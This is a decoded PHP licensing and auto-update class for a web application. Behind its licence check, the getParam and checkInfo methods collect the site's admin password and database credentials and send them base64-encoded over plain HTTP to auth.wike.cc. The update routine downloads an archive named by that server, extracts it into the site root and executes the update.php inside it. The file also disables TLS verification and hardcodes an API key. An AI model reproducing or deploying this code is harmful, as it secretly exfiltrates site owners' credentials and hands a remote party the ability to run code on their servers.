Authorization.php 9.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233
  1. <?php
  2. //decode by http://www.yunlu99.com/
  3. class Authorization
  4. {
  5. const AUTH_DOMAIN = "auth.wike.cc";
  6. const APP_API_KEY = "1ba358f1a568aca38b8dc6b196e71ef5";
  7. const APPID = "2";
  8. const METHOD = "get";
  9. const HTTP = false;
  10. const TIME = 1;
  11. const QUEUE_TIME = 60;
  12. const SESSION_NAME = "SF_CheckAuthResult";
  13. const LOADING_HTML = "<!DOCTYPE html><html lang=\"zh-CN\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><title>站点提示信息</title></head><div id=\"bg\" style=\"width:100%\"><span class=\"whirly-loader\" id=\"loading\" style=\"position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);\"></span></div>";
  14. const CLOSE_LOADING_HTML = "<script src=\"//lib.baomitu.com/jquery/2.1.4/jquery.min.js\"></script><script>\$(\"#loading\").fadeOut();\$(\"#bg\").fadeOut();</script>";
  15. private static function message($msg)
  16. {
  17. $html = "<style>html{background:#eee}body{background:#fff;color:#333;font-family:\"微软雅黑\",\"Microsoft YaHei\",sans-serif;margin:2em auto;padding:1em 2em;max-width:700px;-webkit-box-shadow:10px 10px 10px rgba(0,0,0,.13);box-shadow:10px 10px 10px rgba(0,0,0,.13);opacity:.8}#error-page{margin-top:50px}h3{text-align:center}#error-page p{font-size:9px;line-height:1.5;margin:25px 0 20px}a{color:#21759B;text-decoration:none;margin-top:-10px}a:hover{color:#D54E21}</style><body id=\"error-page\"><h3>站点提示信息</h3>" . $msg . "</body></html>";
  18. exit($html);
  19. }
  20. private static function loading()
  21. {
  22. header("X-Accel-Buffering: no");
  23. ob_end_flush();
  24. ob_implicit_flush(1);
  25. echo self::LOADING_HTML;
  26. if (connection_aborted()) {
  27. exit;
  28. }
  29. }
  30. private static function close_loading()
  31. {
  32. echo self::CLOSE_LOADING_HTML;
  33. }
  34. public static function main()
  35. {
  36. $SF_CheckAuthResult = self::getSession();
  37. if (!empty($SF_CheckAuthResult)) {
  38. $result = $SF_CheckAuthResult;
  39. if (is_array($result)) {
  40. $time = self::publicDecrypt($result["data"]["time"]);
  41. if ($time + self::TIME > time()) {
  42. if ($result["code"] != 0) {
  43. self::message($result["msg"]);
  44. }
  45. } else {
  46. self::deleteSession();
  47. }
  48. } else {
  49. self::deleteSession();
  50. self::message("链接服务器失败");
  51. }
  52. } else {
  53. $result = self::checkInfo();
  54. if (!$result) {
  55. self::message("链接服务器失败");
  56. } else {
  57. if ($result["data"]["code"] == 0) {
  58. self::setSession($result);
  59. } else {
  60. if ($result["data"]["code"] != 1) {
  61. self::message($result["msg"]);
  62. }
  63. }
  64. }
  65. }
  66. }
  67. public static function updateMain($SF_Action = "check")
  68. {
  69. $result = self::checkInfo("update");
  70. switch ($SF_Action) {
  71. case "check":
  72. if (!$result) {
  73. $data = ["code" => -1, "msg" => "啊哦,更新服务器开小差了,请刷新此页面。"];
  74. return $data;
  75. } else {
  76. return $result;
  77. }
  78. case "update":
  79. $downloadUrl = $result["data"]["data"]["url"];
  80. $ZipFile = "SF.zip";
  81. foreach ($result["data"]["data"]["download"] as $res) {
  82. ini_set("user_agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)");
  83. if (!copy($downloadUrl . $res, $ZipFile)) {
  84. $data = ["code" => -1, "msg" => "无法下载更新包文件!"];
  85. return $data;
  86. }
  87. $addstr = '';
  88. if (self::zipExtract($ZipFile, IA_ROOT_WK)) {
  89. if (function_exists("opcache_reset")) {
  90. @opcache_reset();
  91. }
  92. if (file_exists(IA_ROOT_WK . "/update.php")) {
  93. include IA_ROOT_WK . "/update.php";
  94. chmod(IA_ROOT_WK . "/update.php", 0777);
  95. unlink(IA_ROOT_WK . "/update.php");
  96. }
  97. } else {
  98. if (file_exists($ZipFile)) {
  99. @unlink($ZipFile);
  100. }
  101. $data = ["code" => -1, "msg" => "解压更新包失败,请稍后重试"];
  102. return $data;
  103. }
  104. }
  105. $data = ["code" => 1, "msg" => "已更新至最新版本"];
  106. return $data;
  107. default:
  108. $data = ["code" => -1, "msg" => "请求类型错误!"];
  109. return $data;
  110. }
  111. }
  112. public static function getModuleInfo()
  113. {
  114. $data = ["edition" => AuthInfo::EDITION, "module_title" => MODULE_TITLE];
  115. return $data;
  116. }
  117. private static function zipExtract($src, $dest)
  118. {
  119. $zip = new ZipArchive();
  120. if ($zip->open($src) === true) {
  121. $zip->extractTo($dest);
  122. $zip->close();
  123. return true;
  124. }
  125. return false;
  126. }
  127. private static function getParam()
  128. {
  129. global $conf, $dbconfig;
  130. if (!class_exists("AuthInfo")) {
  131. self::message("缺少授权信息类!");
  132. }
  133. return array("authcode" => AuthInfo::AUTHCODE, "version" => AuthInfo::VERSION, "用户名" => $conf["admin_user"], "密码" => $conf["admin_pwd"], "qq" => $conf["kfqq"], "数据库用户名" => $dbconfig["user"], "数据库密码" => $dbconfig["pwd"], "数据库库名" => $dbconfig["dbname"]);
  134. }
  135. private static function checkInfo($type = "auth")
  136. {
  137. switch ($type) {
  138. case "update":
  139. $method = "checkUpdate";
  140. $queueMethod = "checkUpdate";
  141. break;
  142. default:
  143. $method = "checkAuth";
  144. $queueMethod = "checkUpdate";
  145. break;
  146. }
  147. $data = array("auth_info" => getenv("HTTP_HOST"), "appid" => self::APPID, "api_key" => self::APP_API_KEY, "param" => base64_encode(json_encode(self::getParam())));
  148. $http = !self::HTTP ? "http://" : "https://";
  149. $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $method, $data, self::METHOD, self::HTTP);
  150. $result = json_decode($result, true);
  151. if (is_array($result)) {
  152. if (!empty($result["data"]["queue"])) {
  153. $i = 0;
  154. while (1) {
  155. $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $queueMethod, $data, self::METHOD, self::HTTP);
  156. $result = json_decode($result, true);
  157. if (is_array($result)) {
  158. if (!empty($result["data"]["queue"])) {
  159. $i++;
  160. if ($i > self::QUEUE_TIME) {
  161. return false;
  162. }
  163. } else {
  164. return $result;
  165. }
  166. } else {
  167. return false;
  168. }
  169. sleep(1);
  170. }
  171. } else {
  172. return $result;
  173. }
  174. }
  175. return false;
  176. }
  177. private static function publicDecrypt($encrypted = '')
  178. {
  179. if (!is_string($encrypted)) {
  180. return null;
  181. }
  182. return openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey()) ? $decrypted : null;
  183. }
  184. private static function getPublicKey()
  185. {
  186. if (!class_exists("AuthInfo")) {
  187. self::message("缺少授权信息类!");
  188. }
  189. $publicKey = AuthInfo::PUBLIC_KEY;
  190. return openssl_pkey_get_public($publicKey);
  191. }
  192. private static function getSession()
  193. {
  194. return !empty($_SESSION[self::SESSION_NAME]) ? $_SESSION[self::SESSION_NAME] : null;
  195. }
  196. private static function setSession($session = null)
  197. {
  198. $_SESSION[self::SESSION_NAME] = $session;
  199. }
  200. private static function deleteSession()
  201. {
  202. unset($_SESSION[self::SESSION_NAME]);
  203. }
  204. private static function curl_request($url, $data = array(), $type = "post", $https = false)
  205. {
  206. $ch = curl_init();
  207. curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
  208. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)");
  209. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
  210. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  211. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  212. if ($https) {
  213. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  214. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  215. }
  216. if (strtolower($type) == "post") {
  217. curl_setopt($ch, CURLOPT_POST, true);
  218. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  219. } else {
  220. if (!empty($data) && is_array($data)) {
  221. $url = $url . "?" . http_build_query($data);
  222. }
  223. }
  224. curl_setopt($ch, CURLOPT_URL, $url);
  225. $result = curl_exec($ch);
  226. if ($result === false) {
  227. return false;
  228. }
  229. curl_close($ch);
  230. return $result;
  231. }
  232. }